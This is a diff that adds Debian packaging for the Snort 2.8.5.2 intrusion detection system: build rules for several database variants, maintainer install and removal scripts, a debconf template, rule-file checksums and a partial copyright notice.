+#	--enable-flexresp \
+
+aclocal.m4:
+	aclocal-1.9 -I m4/
+	automake-1.9 -i
+	autoconf
+
+clean-sources:
+	# Clean the sources
+	[ ! -f Makefile ] ||  $(MAKE) distclean
+	cd src &&  [ ! -f Makefile ] || $(MAKE) distclean
+# Remove the flag that indicated that the sources were configured
+	-rm -f configure-stamp
+
+clean: clean-sources
+	dh_testdir
+	dh_testroot
+# Clean all the stamps
+	rm -f build*stamp install-stamp configure-stamp
+# Clean binaries we create when building the packages
+	rm -f src/snort-mysql
+	rm -f src/snort-pgsql
+	rm -f src/snort-inline
+	rm -f src/snort-basic
+	rm -f src/snort
+# Clean documents
+	cd doc && [ ! -f Makefile ] || $(MAKE) distclean
+	rm -f doc/snort_manual.pdf doc/snort_manual.ps doc/snort_manual.aux \
+	    doc/snort_manual.log doc/snort_manual.toc
+	rm -f doc/faq.idx doc/faq.out doc/faq.log doc/faq.toc doc/faq.aux \
+	    doc/faq.pdf doc/faq.ps
+	dh_clean
+
+configure: configure-stamp
+configure-stamp:
+	dh_testdir
+# Standard package support
+	./configure $(CONFFLAGS) \
+		--without-mysql \
+		--without-postgresql 
+	touch $@
+
+build-basic: build-basic-stamp
+build-basic-stamp: configure
+# NOTE: We don't clean the sources on the first compilation
+	dh_testdir
+	# Basic package (no BBDD support):
+	$(MAKE) 
+	cp src/snort src/snort-basic
+	touch $@
+
+build-pgsql: build-pgsql-stamp
+build-pgsql-stamp:
+	dh_testdir
+	sh debian/clean_sources.sh
+	# PostgreSQL package:
+	./configure $(CONFFLAGS) \
+		--without-mysql \
+		--with-postgresql \
+		--with-pgsql-includes=`pg_config --includedir` 
+	$(MAKE) 
+	cp src/snort src/snort-pgsql
+	touch $@
+
+build-mysql: build-mysql-stamp
+build-mysql-stamp:
+	dh_testdir
+	sh debian/clean_sources.sh
+	# MySQL package:
+	./configure $(CONFFLAGS) \
+		--with-mysql \
+		--without-postgresql 
+	$(MAKE) 
+	cp src/snort src/snort-mysql
+	touch $@
+
+build-inline: build-inline-stamp
+build-inline-stamp: 
+	dh_testdir
+	sh debian/clean_sources.sh
+	# Inline support
+	./configure $(CONFFLAGS) \
+		--without-mysql \
+		--without-postgresql \
+		--enable-inline \
+		--with-libipq-includes=/usr/include/libipq/ 
+	$(MAKE) 
+	cp src/snort src/snort-inline
+	touch $@
+
+build-arch: build-basic build-pgsql build-mysql build-arch-stamp 
+build-arch-stamp: 
+	dh_testdir
+	touch $@
+
+build-indep: configure build-indep-stamp
+build-indep-stamp: 
+	dh_testdir
+	# Build the documentation
+# Only do this if we have the required binaries and files
+# Note: I hate hardcoding paths here, but the buildds are stupid
+	@if [ -x /usr/bin/ps2pdf -a -x /usr/bin/pslatex -a \
+	     -x /usr/bin/dvips -a \
+	     -e /usr/share/texmf-texlive/tex/latex/pslatex/pslatex.sty -a \
+	     -e /usr/share/texmf-texlive/tex/latex/oberdiek/kvoptions.sty ] ; \
+	then \
+	    $(MAKE) -C doc snort_manual.pdf faq.pdf ; \
+	else \
+	    echo >&2 'WARNING: Not building documentation, environment not available!'; \
+	fi
+	touch $@
+
+build: 
+	
+install: install-indep install-arch
+
+install-arch: 
+	dh_testdir
+	dh_testroot
+	dh_clean -k -s
+	dh_installdirs -s
+
+# Install the common binaries
+	$(MAKE) install prefix=$(TMP)/snort-common/usr/
+	rm -f  $(TMP)/snort-common/usr/sbin/snort 
+
+# Snort binaries
+	install -m 755 -o root -g root src/snort-basic $(TMP)/snort/usr/sbin/snort
+	install -m 755 -o root -g root src/snort-mysql $(TMP)/snort-mysql/usr/sbin/snort
+	install -m 755 -o root -g root src/snort-pgsql $(TMP)/snort-pgsql/usr/sbin/snort
+#	install -m 755 -o root -g root src/snort-inline   $(TMP)/snort/usr/sbin/snort
+
+# Default config
+#	install -m 644 -o root -g root `pwd`/debian/snort.common.parameters $(TMP)/snort-mysql/etc/snort/snort.common.parameters
+#	install -m 644 -o root -g root `pwd`/debian/snort.common.parameters $(TMP)/snort-pgsql/etc/snort/snort.common.parameters
+#	install -m 644 -o root -g root `pwd`/debian/snort.common.parameters $(TMP)/snort/etc/snort/snort.common.parameters
+	install -m 644 -o root -g root `pwd`/debian/snort.default $(TMP)/snort/etc/default/snort
+	install -m 644 -o root -g root `pwd`/debian/snort.default $(TMP)/snort-mysql/etc/default/snort
+	install -m 644 -o root -g root `pwd`/debian/snort.default $(TMP)/snort-pgsql/etc/default/snort
+#	install -m 644 -o root -g root `pwd`/debian/snort.default $(TMP)/snort-inline/etc/default/snort
+
+
+#  Install init.d initscripts
+	install -m 755 -o root -g root `pwd`/debian/snort.init.d $(TMP)/snort/etc/init.d/snort
+	install -m 755 -o root -g root `pwd`/debian/snort.init.d $(TMP)/snort-mysql/etc/init.d/snort
+	install -m 755 -o root -g root `pwd`/debian/snort.init.d $(TMP)/snort-pgsql/etc/init.d/snort
+#	install -m 755 -o root -g root `pwd`/debian/snort.init.d $(TMP)/snort-inline/etc/init.d/snort
+
+#  Install PPP initscripts
+	install -m 755 -o root -g root `pwd`/debian/my/snort.ip-up.d $(TMP)/snort/etc/ppp/ip-up.d/snort
+	install -m 755 -o root -g root `pwd`/debian/my/snort.ip-down.d $(TMP)/snort/etc/ppp/ip-down.d/snort
+	install -m 755 -o root -g root `pwd`/debian/my/snort.ip-up.d $(TMP)/snort-mysql/etc/ppp/ip-up.d/snort
+	install -m 755 -o root -g root `pwd`/debian/my/snort.ip-down.d $(TMP)/snort-mysql/etc/ppp/ip-down.d/snort
+	install -m 755 -o root -g root `pwd`/debian/my/snort.ip-up.d $(TMP)/snort-pgsql/etc/ppp/ip-up.d/snort
+	install -m 755 -o root -g root `pwd`/debian/my/snort.ip-down.d $(TMP)/snort-pgsql/etc/ppp/ip-down.d/snort
+#	install -m 755 -o root -g root `pwd`/debian/my/snort.ip-up.d $(TMP)/snort-inline/etc/ppp/ip-up.d/snort
+#	install -m 755 -o root -g root `pwd`/debian/my/snort.ip-down.d $(TMP)/snort-inline/etc/ppp/ip-down.d/snort
+
+# Logrotate files
+	install -m 644 -o root -g root `pwd`/debian/snort.logrotate $(TMP)/snort/etc/logrotate.d/snort
+	install -m 644 -o root -g root `pwd`/debian/snort.logrotate $(TMP)/snort-mysql/etc/logrotate.d/snort
+	install -m 644 -o root -g root `pwd`/debian/snort.logrotate $(TMP)/snort-pgsql/etc/logrotate.d/snort
+#	install -m 644 -o root -g root `pwd`/debian/snort.logrotate $(TMP)/snort-inline/etc/logrotate.d/snort
+
+# Move libraries to the snort-common-libraries package
+	mv $(TMP)/snort-common/usr/lib/ $(TMP)/snort-common-libraries/usr/
+# Remove headers, as this is not a -dev package
+#	mv $(TMP)/snort-common/usr/src/ $(TMP)/snort-common-libraries/usr/
+	rm -rf $(TMP)/sort-common/usr/src/
+
+# Remove useless (empty) directories
+	rmdir $(TMP)/snort-pgsql/usr/share/doc/snort
+	rmdir $(TMP)/snort-mysql/usr/share/doc/snort
+
+	dh_install -s
+
+install-indep: 
+	dh_testdir
+	dh_testroot
+	dh_clean -k -i
+	dh_installdirs -i
+
+# Install Debian specific, scripts and files of the snort-common
+# package
+	install -m 755 -o root -g root `pwd`/debian/snort.cron.daily $(TMP)/snort-common/etc/cron.daily/5snort
+	install -m 755 -o root -g root `pwd`/debian/my/snort-stat $(TMP)/snort-common/usr/sbin/
+	install -m 644 -o root -g root `pwd`/etc/snort.conf $(TMP)/snort-common/etc/snort/
+	install -m 644 -o root -g root `pwd`/etc/unicode.map $(TMP)/snort-common/etc/snort/
+	install -m 644 -o root -g root `pwd`/etc/threshold.conf $(TMP)/snort-common/etc/snort/
+
+
+#  Install files of the arch-independent packages
+	cp rules/*.rules $(TMP)/snort-rules-default/etc/snort/rules/
+#	mkdir -p $(TMP)/snort-rules-default/usr/share/snort/
+#	install -m 644 -o root -g root `pwd`/debian/oldrules.md5 $(TMP)/snort-rules-default/usr/share/snort/oldrules.md5
+	
+	cp etc/sid-msg.map $(TMP)/snort-rules-default/etc/snort/
+	cp etc/gen-msg.map $(TMP)/snort-rules-default/etc/snort/
+	cp etc/community-sid-msg.map $(TMP)/snort-rules-default/etc/snort/
+	cp etc/classification.config $(TMP)/snort-rules-default/etc/snort/
+	cp etc/reference.config $(TMP)/snort-rules-default/etc/snort/
+
+# Remove useless directories
+	rm -rf $(TMP)/snort-common/etc/ppp
+	rm -rf $(TMP)/snort-doc/usr/share/doc
+
+	dh_install -i
+
+# Build architecture-independent files here.
+binary-indep: build-indep install-indep
+	dh_testdir -i
+	dh_testroot -i
+
+	dh_installdocs -i
+	dh_installexamples -i
+	dh_installdebconf -i
+	dh_installman -i 
+# Other adjustments
+	rm -rf $(TMP)/snort-doc/usr/share/doc/snort-doc/CVS
+	rm -rf $(TMP)/snort-doc/usr/share/doc/snort-doc/contrib/CVS
+	chmod +x $(TMP)/snort-common/usr/share/doc/snort-common/examples/snort*
+	cp -a doc/signatures/ $(TMP)/snort-doc/usr/share/doc/snort-doc/
+	rm -rf $(TMP)/snort-doc/usr/share/man
+	rm -rf $(TMP)/snort-rules-default/usr/share/man
+	rm -rf $(TMP)/snort-common/usr/share/man/man8/snort.*
+	dh_installchangelogs -i ChangeLog
+	dh_link -i
+	dh_strip -i
+	dh_compress -i
+	dh_fixperms -i
+	dh_makeshlibs -i
+	dh_installdeb -i
+	dh_perl -i
+	dh_shlibdeps -i
+	dh_gencontrol -i
+	dh_md5sums -i
+	dh_builddeb -i
+
+# Build architecture-dependent files here.
+binary-arch: build-arch install-arch
+	dh_testdir -a
+	dh_testroot -a
+	dh_installdocs -a 
+	dh_installexamples -a
+	dh_installdebconf -a
+	dh_installman -a 
+	cp $(TMP)/snort-mysql/usr/share/doc/snort-mysql/copyright $(TMP)/snort/usr/share/doc/snort/
+	rm -f $(TMP)/snort-mysql/usr/share/man/man8/snort-stat.*
+	rm -f $(TMP)/snort-pgsql/usr/share/man/man8/snort-stat.*
+#	rm -f $(TMP)/snort-inline/usr/share/man/man8/snort-stat.*
+	rm -rf $(TMP)/snort-rules-default/usr/share/man
+	rm -f $(TMP)/snort/usr/share/man/man8/snort-stat.*
+	rm -f $(TMP)/snort-common/usr/share/man/man8/snort.*
+	
+	mkdir -p $(TMP)/snort-mysql/usr/share/doc/snort-mysql/
+	install -m 644 -o root -g root schemas/create_mysql $(TMP)/snort-mysql/usr/share/doc/snort-mysql/
+
+	mkdir -p $(TMP)/snort-pgsql/usr/share/doc/snort-pgsql/
+	install -m 644 -o root -g root schemas/create_postgresql $(TMP)/snort-pgsql/usr/share/doc/snort-pgsql/
+
+	dh_installchangelogs -a ChangeLog
+	dh_link -a
+	dh_strip -a
+	dh_compress -a
+	dh_fixperms -a
+	dh_makeshlibs -a
+	dh_installdeb -a
+	dh_perl -a
+	dh_shlibdeps -a
+	dh_gencontrol -a
+	dh_md5sums -a
+	dh_builddeb -a
+
+source diff:                                                                  
+	@echo >&2 'source and diff are obsolete - use dpkg-source -b'; false
+
+update-rules:
+	mv rules rules.old
+	wget -q -O ../snortrules-snapshot-2_2.tar.gz http://www.snort.org/dl/rules/snortrules-snapshot-2_2.tar.gz
+	tar -zxf ../snortrules-snapshot-2_2.tar.gz
+	if [ -d rules ] ; then mv rules.old/Makefile* rules/; rm -rf rules.old; fi
+
+# Update the Debconf templates for all packages using the common templates
+update-templates: debian/snort.TEMPLATE.templates debian/snort.DATABASE.templates debian/snort-mysql.ADD.templates debian/snort-pgsql.ADD.templates
+	cd debian && sh generate-templates.sh
+	cd debian && debconf-updatepo
+
+binary: binary-arch binary-indep
+.PHONY: build clean binary-indep binary-arch binary install install-indep install-arch
--- snort-2.8.5.2.orig/debian/snort-rules-default.postrm
+++ snort-2.8.5.2/debian/snort-rules-default.postrm
@@ -0,0 +1,41 @@
+#! /bin/sh
+# postrm script for snort-rules-default
+#
+# see: dh_installdeb(1)
+
+set -e
+
+# summary of how this script can be called:
+#        * <postrm> `remove'
+#        * <postrm> `purge'
+#        * <old-postrm> `upgrade' <new-version>
+#        * <new-postrm> `failed-upgrade' <old-version>
+#        * <new-postrm> `abort-install'
+#        * <new-postrm> `abort-install' <old-version>
+#        * <new-postrm> `abort-upgrade' <old-version>
+#        * <disappearer's-postrm> `disappear' <r>overwrit>r> <new-version>
+# for details, see /usr/doc/packaging-manual/
+
+case "$1" in
+	purge|disappear)
+		if [ -d /etc/snort/rules ]; then
+			rmdir --ignore-fail-on-non-empty /etc/snort/rules || true
+		fi
+		if [ -d /etc/snort ]; then
+			rmdir --ignore-fail-on-non-empty /etc/snort || true
+		fi
+		;;
+		
+	remove|upgrade|failed-upgrade|abort-install|abort-upgrade)
+		;;
+esac
+
+# dh_installdeb will replace this with shell code automatically
+# generated by other debhelper scripts.
+
+#DEBHELPER#
+
+if [ "$1" = purge ] && [ -e /usr/share/debconf/confmodule ]; then
+	. /usr/share/debconf/confmodule
+	db_purge
+fi
--- snort-2.8.5.2.orig/debian/snort-mysql.docs
+++ snort-2.8.5.2/debian/snort-mysql.docs
@@ -0,0 +1,14 @@
+doc/AUTHORS
+doc/BUGS
+doc/CREDITS
+doc/NEWS
+doc/README
+doc/README.FLEXRESP
+doc/README.PLUGINS
+doc/USAGE
+doc/README.database
+doc/README.csv
+debian/my/snort_rules.html
+debian/README.Maintainer
+debian/README-database.Debian
+debian/README-database-upgrade.Debian
--- snort-2.8.5.2.orig/debian/snort-common.docs
+++ snort-2.8.5.2/debian/snort-common.docs
@@ -0,0 +1 @@
+RELEASE.NOTES
--- snort-2.8.5.2.orig/debian/snort-mysql.ADD.templates
+++ snort-2.8.5.2/debian/snort-mysql.ADD.templates
@@ -0,0 +1,17 @@
+
+Template: snort-mysql/needs_db_config
+Type: note
+_Description: Configured database mandatory for Snort
+ Snort needs a configured database before it can successfully start up.
+ In order to create the structure you need to run the following commands
+ AFTER the package is installed:
+ .
+  cd /usr/share/doc/snort-mysql/
+  zcat create_mysql.gz | mysql -u <user> -h <host> -p <databasename>
+ .
+ Fill in the correct values for the user, host, and database names.
+ MySQL will prompt you for the password.
+ .
+ After you have created the database structure, you will need to start Snort
+ manually.
+
--- snort-2.8.5.2.orig/debian/snort.postinst
+++ snort-2.8.5.2/debian/snort.postinst
@@ -0,0 +1,197 @@
+#!/bin/sh -e
+
+CONFIG=/etc/snort/snort.debian.conf
+
+. /usr/share/debconf/confmodule
+test $DEBIAN_SCRIPT_DEBUG && set -v -x
+
+# summary of how this script can be called:
+#        * <postinst> `configure' <most-recently-configured-version>
+#        * <old-postinst> `abort-upgrade' <new version>
+#        * <conflictor's-postinst> `abort-remove' `in-favour' <package>
+#          <new-version>
+#        * <deconfigured's-postinst> `abort-deconfigure' `in-favour'
+#          <failed-install-package> <version> `removing'
+#          <conflicting-package> <version>
+# for details, see /usr/doc/packaging-manual/
+#
+# quoting from the policy:
+#     Any necessary prompting should almost always be confined to the
+#     post-installation script, and should be protected with a conditional
+#     so that unnecessary prompting doesn't happen if a package's
+#     installation fails and the `postinst' is called with `abort-upgrade',
+#     `abort-remove' or `abort-deconfigure'.
+
+case "$1" in
+    install)
+	;;
+    upgrade)
+	db_get snort/startup || true
+	if [ "$RET" = "manual" ]; then
+		echo "You have chosen to (re)start snort manually."
+		echo "Please restart Snort manually."
+		sleep 2
+		#db_fset snort/please_restart_manually seen false
+		#db_beginblock
+		#db_input high snort/please_restart_manually || true
+		#db_endblock
+		#db_go
+		#db_stop
+	fi
+	;;
+    configure)
+	# edit config file
+	db_get snort/startup || true; 		STARTUP=$RET
+	db_get snort/interface || true; 	INTERFACE="$RET"
+	db_get snort/address_range || true;	ADDRESS_RANGE="$RET"
+	db_get snort/disable_promiscuous || true; DISABLE_PROMISCUOUS=$RET
+	db_get snort/send_stats || true;	STATS_SEND="$RET"
+	db_get snort/stats_rcpt || true;	STATS_RCPT="$RET"
+	db_get snort/stats_treshold || true;	STATS_THRESHOLD="$RET"
+	db_get snort/options || true;		OPTIONS="$RET"
+
+	test "$DISABLE_PROMISCUOUS" = "true" && OPTIONS="$OPTIONS -p"
+	# Failsafe in case the values above are blank (jfs)
+	[ -z "$STATS_RCPT" ] && STATS_RCPT=root
+	[ -z "$STATS_THRESHOLD" ] && STATS_THRESHOLD=1
+	# STATS_RCPT=`echo "$STATS_RCPT" | sed -e 's/@/\\\\@/g' -e 's/,/\\\\,/g'`
+
+	cat <<EOF >$CONFIG
+# This file is used for options that are changed by Debian to leave
+# the original lib files untouched.
+# You have to use "dpkg-reconfigure snort" to change them.
+
+DEBIAN_SNORT_STARTUP="$STARTUP"
+DEBIAN_SNORT_HOME_NET="$ADDRESS_RANGE"
+DEBIAN_SNORT_OPTIONS="$OPTIONS"
+DEBIAN_SNORT_INTERFACE="$INTERFACE"
+DEBIAN_SNORT_SEND_STATS="$STATS_SEND"
+DEBIAN_SNORT_STATS_RCPT="$STATS_RCPT"
+DEBIAN_SNORT_STATS_THRESHOLD="$STATS_THRESHOLD"
+EOF
+
+	if [ -f /etc/snort/snort.conf ]; then
+		# Ensure the config file is readable by root.root and mode 600
+		if ! dpkg-statoverride --list /etc/snort/snort.conf >/dev/null
+		then
+			chown root:snort /etc/snort/snort.conf
+			chmod 640 /etc/snort/snort.conf
+		fi
+	fi
+
+	db_stop
+
+	# Check for left-over files from woody packages.
+	OLDCONF=/etc/snort/snort.rules.conf
+	if [ -f $OLDCONF ]; then
+		mv $OLDCONF $OLDCONF.OBSOLETE
+	fi
+
+	# Update the rc.d's
+	update-rc.d snort defaults >/dev/null
+
+	# in the case we reconfigure we have to restart and not just to start.
+	if [ -x "`which invoke-rc.d 2>/dev/null`" ]; then
+		invoke-rc.d snort stop || exit $?
+	else
+		/etc/init.d/snort stop || exit $?
+	fi
+	;;
+    abort-upgrade)
+	;;
+    *)
+	echo "postinst called with unknown argument \`$1'" >&2
+	exit 0
+	;;
+esac
+
+if [ "$STARTUP" = "dialup" ]; then
+
+	# Try to guess environments for all pppds we have no .env for...
+	for PPPD_PID in $(pidof pppd ipppd); do
+		# If we got an empty PID (however), we break here
+		test "$PPPD_PID" || continue
+
+		#
+		# This is a lot of shell voodoo, let's try to figure it out:
+		# 1. egrep:
+		#    It greps for our current pppd PID in all pppd and ipppd
+		#    pidfiles.
+		#    It *should* return exactly one file name: the one with
+		#    our current pppd PID in it; however, to be safe, we fence
+		#    it with a head -1.
+		# 2. basename $(egrep ...) .pid:
+		#    It takes the file name from the egrep and strips off its
+		#    path and the .pid suffix
+		# 3. sed:
+		#    Unfortunately the filenames of pppd and ipppd differ:
+		#    pppd uses $INTERFACE.pid, while ipppd uses
+		#    ipppd.$INTERFACE.pid.
+		#    The .pid is already stripped off by basename, thus, we
+		#    just strip off any "ipppd." prefix and end up in the
+		#    plain interface name.
+		#    Maybe pppd decides to change it's pidfile naming
+		#    convention according to ipppd somewhere in the future,
+		#    thus, we use '^i\?pppd\.' (sed eregex) and thus strip
+		#    off all "ipppd." and all "pppd." prefixes. This doesn't
+		#    harm anyways.
+		#    Because of the pppd pidfile naming convention, our
+		#    approach works always with ipppd and mostly with pppd:
+		#    the latter only, if the user did not decide to rename
+		#    his ppp interface to something else than ppp*
+		#    (not possible currently, afaics).
+		#
+		PPP_IFACE=$(basename $(egrep -l "^[[:space:]]*$PPPD_PID[[:space:]]*\$" /var/run/ppp*.pid /var/run/ipppd.*.pid 2> /dev/null | head -1) .pid | sed -e 's/^i\?pppd\.//')
+
+		#
+		# If we got no interface from pidfiles (because there are no
+		# pidfiles, for example), we assume the most common case:
+		# one pppd with default route set.
+		# This is ugly, but there is no other chance. Let's hope,
+		# nobody ever manages multiple pppds without pidfiles for
+		# them.
+		#
+		test "$PPP_IFACE" || PPP_IFACE=$(route -n |
+			awk '/^0\.0\.0\.0 / { print $8 }')
+
+		# If we couldn't discover an interface name, we break here
+		test "$PPP_IFACE" || continue
+
+		PPP_LOCAL=$(ifconfig $PPP_IFACE |
+			awk '/inet addr:/ { gsub("addr:", ""); print $2 }')
+
+		# If we couldn't discover a local IP, we break here
+		test "$PPP_LOCAL" || continue
+
+		ENVFILE=/var/run/snort_$PPP_IFACE.env
+
+		# If we already have an .env for that interface, we break here
+		test -e "$ENVFILE" && continue
+
+		# Write .env for that interface
+		echo "Creating missing $ENVFILE"
+		echo "PPPD_PID=$PPPD_PID"    > "$ENVFILE"
+		echo "PPP_IFACE=$PPP_IFACE" >> "$ENVFILE"
+		echo "PPP_LOCAL=$PPP_LOCAL" >> "$ENVFILE"
+
+		# If such a snort is still running, just kill it
+		ps -ef | grep /usr/sbin/snort | grep "$PPP_LOCAL" |
+			grep "$PPP_IFACE" | awk '{ print $2 }' |
+			xargs --no-run-if-empty kill -s KILL >/dev/null
+	done
+fi
+
+if [ "$STARTUP" = "boot" ] || [ "$STARTUP" = "dialup" ]; then
+	if [ -x "`which invoke-rc.d 2>/dev/null`" ]; then
+		invoke-rc.d snort start || exit $?
+	else
+		/etc/init.d/snort start || exit $?
+	fi
+fi
+
+# dh_installdeb will replace this with shell code automatically
+# generated by other debhelper scripts.
+
+#DEBHELPER#
+
+exit 0
--- snort-2.8.5.2.orig/debian/snort-inline.postinst
+++ snort-2.8.5.2/debian/snort-inline.postinst
@@ -0,0 +1,113 @@
+#!/bin/sh -e
+
+CONFIG=/etc/snort/snort.debian.conf
+
+. /usr/share/debconf/confmodule
+test $DEBIAN_SCRIPT_DEBUG && set -v -x
+
+# summary of how this script can be called:
+#        * <postinst> `configure' <most-recently-configured-version>
+#        * <old-postinst> `abort-upgrade' <new version>
+#        * <conflictor's-postinst> `abort-remove' `in-favour' <package>
+#          <new-version>
+#        * <deconfigured's-postinst> `abort-deconfigure' `in-favour'
+#          <failed-install-package> <version> `removing'
+#          <conflicting-package> <version>
+# for details, see /usr/doc/packaging-manual/
+#
+# quoting from the policy:
+#     Any necessary prompting should almost always be confined to the
+#     post-installation script, and should be protected with a conditional
+#     so that unnecessary prompting doesn't happen if a package's
+#     installation fails and the `postinst' is called with `abort-upgrade',
+#     `abort-remove' or `abort-deconfigure'.
+
+case "$1" in
+    install)
+	;;
+    upgrade)
+	db_get snort-inline/startup || true
+	if [ "$RET" = "manual" ]; then
+		echo "You have chosen to (re)start snort manually."
+		echo "Please restart Snort manually."
+		sleep 2
+	fi
+	;;
+    configure)
+	# edit config file
+	db_get snort-inline/startup || true; 		STARTUP=$RET
+	db_get snort-inline/interface || true; 	INTERFACE="$RET"
+	db_get snort-inline/address_range || true;	ADDRESS_RANGE="$RET"
+	db_get snort-inline/send_stats || true;	STATS_SEND="$RET"
+	db_get snort-inline/stats_rcpt || true;	STATS_RCPT="$RET"
+	db_get snort-inline/stats_treshold || true;	STATS_THRESHOLD="$RET"
+	db_get snort-inline/options || true;		OPTIONS="$RET"
+
+	# Failsafe in case the values above are blank (jfs)
+	[ -z "$STATS_RCPT" ] && STATS_RCPT=root
+	[ -z "$STATS_THRESHOLD" ] && STATS_THRESHOLD=1
+	# STATS_RCPT=`echo "$STATS_RCPT" | sed -e 's/@/\\\\@/g' -e 's/,/\\\\,/g'`
+
+	cat <<EOF >$CONFIG
+# This file is used for options that are changed by Debian to leave
+# the original lib files untouched.
+# You have to use "dpkg-reconfigure snort" to change them.
+
+DEBIAN_SNORT_STARTUP="$STARTUP"
+DEBIAN_SNORT_HOME_NET="$ADDRESS_RANGE"
+DEBIAN_SNORT_OPTIONS="$OPTIONS"
+DEBIAN_SNORT_INTERFACE="$INTERFACE"
+DEBIAN_SNORT_SEND_STATS="$STATS_SEND"
+DEBIAN_SNORT_STATS_RCPT="$STATS_RCPT"
+DEBIAN_SNORT_STATS_THRESHOLD="$STATS_THRESHOLD"
+EOF
+
+	if [ -f /etc/snort/snort.conf ]; then
+		# Ensure the config file is readable by root.root and mode 600
+		if ! dpkg-statoverride --list /etc/snort/snort.conf >/dev/null
+		then
+			chown root:snort /etc/snort/snort.conf
+			chmod 640 /etc/snort/snort.conf
+		fi
+	fi
+
+	db_stop
+
+	# Check for left-over files from woody packages.
+	OLDCONF=/etc/snort/snort.rules.conf
+	if [ -f $OLDCONF ]; then
+		mv $OLDCONF $OLDCONF.OBSOLETE
+	fi
+
+	# Update the rc.d's
+	update-rc.d snort defaults >/dev/null
+
+	# in the case we reconfigure we have to restart and not just to start.
+	if [ -x "`which invoke-rc.d 2>/dev/null`" ]; then
+		invoke-rc.d snort stop || exit $?
+	else
+		/etc/init.d/snort stop || exit $?
+	fi
+	;;
+    abort-upgrade)
+	;;
+    *)
+	echo "postinst called with unknown argument \`$1'" >&2
+	exit 0
+	;;
+esac
+
+if [ "$STARTUP" = "boot" ] || [ "$STARTUP" = "dialup" ]; then
+	if [ -x "`which invoke-rc.d 2>/dev/null`" ]; then
+		invoke-rc.d snort start || exit $?
+	else
+		/etc/init.d/snort start || exit $?
+	fi
+fi
+
+# dh_installdeb will replace this with shell code automatically
+# generated by other debhelper scripts.
+
+#DEBHELPER#
+
+exit 0
--- snort-2.8.5.2.orig/debian/oldrules.md5
+++ snort-2.8.5.2/debian/oldrules.md5
@@ -0,0 +1,33 @@
+3bc265bef3ff5fc675f9f1acf8ea6390  attack-responses.rules
+c20eb0f3f140b7659ebd37f2e3553f2d  backdoor.rules
+08b710276367c03fcd26d1b3512a870d  bad-traffic.rules
+48683f29e6452e4e43f1af004f537485  ddos.rules
+f605e07289ace0adc279aa46225834a5  dns.rules
+b231ab5af973df5f06201f16be8a37ff  dos.rules
+31788f18caaed776f021e5029bdd6757  exploit.rules
+3f0c90491298edd0dfc37a6afc9ffac6  finger.rules
+a2f2068460b622a85624b664d9108b36  ftp.rules
+c580f094d32435915f893c2661fb73dc  icmp-info.rules
+3abbb384dd222225560ec87b324b63ce  icmp.rules
+9159fed0eda9c16245f4c6edb94c0d7c  info.rules
+8005f28d5e2400c474a7b765029eefb5  local.rules
+8204b5ce028496bca3f95a06dfca10b9  misc.rules
+f63f7c3c9a9f627521b0dcce1e134f1f  netbios.rules
+fe402fc3c9e795ea22af59be84683be5  policy.rules
+00b1e66fe86b46bf94460320ca71d972  porn.rules
+c23be32425937a87219ccd0ee4f85813  rpc.rules
+82a173d9144a11ea1e686fcec730549a  rservices.rules
+c9dd621a43c896dde6dd2da09575897f  scan.rules
+55a0e660ea08c314cf4d5c19f7973f83  shellcode.rules
+b304d4b570e94112d6b025d6a55007c1  smtp.rules
+ccff2e48615eb7d27466b26a9dd66b66  sql.rules
+f68e3bee2ab97ce729f20a0f4751ca04  telnet.rules
+a263d7e4526e8012aafd9daf62690519  tftp.rules
+2abd1c03364a8a1c01650764cf2af2f1  virus.rules
+fe239ae24a682d3d47251c28689fc9ec  web-attacks.rules
+2e99d333c4ab20bfd3f5694915b6d591  web-cgi.rules
+3051d9dda0ed859487580733b2a318d2  web-coldfusion.rules
+b7fc9e8371d04b5ec203651c15135657  web-frontpage.rules
+e7100df55b15a262f45d0a2940594d1f  web-iis.rules
+028a217dbdc67fea026a1f7c3dd6560b  web-misc.rules
+6e85b6a55b84bffc29fd58b8e6747b65  x11.rules
--- snort-2.8.5.2.orig/debian/snort.common.parameters
+++ snort-2.8.5.2/debian/snort.common.parameters
@@ -0,0 +1 @@
+-m 027 -D -l /var/log/snort -d -u snort -g snort
--- snort-2.8.5.2.orig/debian/copyright
+++ snort-2.8.5.2/debian/copyright
@@ -0,0 +1,104 @@
+This package was adopted by Sander Smeenk <ssmeenk@debian.org>
+Tue,  4 Jun 2002 21:56:15 +0200
+
+This package was debianized by Robert van der Meulen <rvdm@debian.org>
+Sun Feb  4 17:20:36 CET 2001.
+
+It was downloaded from http://www.snort.org/
+
+Upstream Author: Martin Roesch <roesch@clark.net>
+
+
+Copyright:
+
+Copyright (C) 1998-2002 Martin Roesch <roesch@sourcefire.com>
+
+Portions:
+ - Copyright (C) 2002-2007  Sourcefire, Inc.
+ - Copyright (C) 1993-1998 by Christopher R. Hertel
+ - Copyright (C) 2001 Brian Caswell <bmc@mitre.org>
+ - Copyright (C) 2000,2001 Andrew R. Baker <andrewb@uab.edu>
+ - Copyright (C) 2006 Joshua Wright <jwright@arubanetworks.com>
+ - Copyright (C) 2002-2004 Jeff Nathan <jeff@snort.org>
+ - Copyright (C) 2000,2001,2002 Carnegie Mellon University
+ - Copyright (C) 2001 Jed Pickel <jed@pickel.net>
+ - Copyright (C) 2000-2003 MySQL AB & MySQL Finland AB & TCX DataKonsult AB
+ - Copyright (C) 2005 PreludeIDS Technologies. 
+ - Copyright (c) 1998 Todd C. Miller <Todd.Miller@courtesan.com>
+ - Copyright(C) 1975 Association for Computing Machinery,Inc
+ - Copyright(C) 2002,2003,2004 Marc Norton
+ - Copyright(C) 2003,2004 Daniel Roelker 
+ - Copyright (c) 2001 Michael Davis <mike@datanerds.net>
+ - Copyright (c) 1995, 1996, 1997 Kungliga Tekniska Högskolan
+ - Copyright (c) 1997-2003 University of Cambridge
+ - Copyright (C) 2000,2001 Maciej Szarpak
+ - Copyright (C) 2001 Phil Wood <cpw@lanl.gov>
+ - Copyright (C) 1999,2000,2001 Christian Lademann <cal@zls.de>
+ - Copyright (c) 1998 Sendmail, Inc.  All rights reserved.
+ - Copyright (c) 1997 Eric P. Allman.  All rights reserved.
+ - Copyright (c) 1988, 1993 The Regents of the University of California
+ - Copyright (C) 2000,2001 Christopher Cramer <cec@ee.duke.edu>
+ - Copyright (C) 2003 Michael J. Pomraning <mjp@securepipe.com>
+ - Copyright (C) 1999,2000,2001 Christian Lademann <cal@zls.de>
+ - Copyright (C) 2000 Mike Andersen <mike@src.no>
+ - Copyright (C) 2001 Andrew Stubbs <andrews@stusoft.com>
+ - Copyright (C) 2002 Chris Reid <chris.reid@codecraftconsulants.com>
+
+
+
+License:
+
+   This package is free software; you can redistribute it and/or modify
+   it under the terms of the GNU General Public License as published by
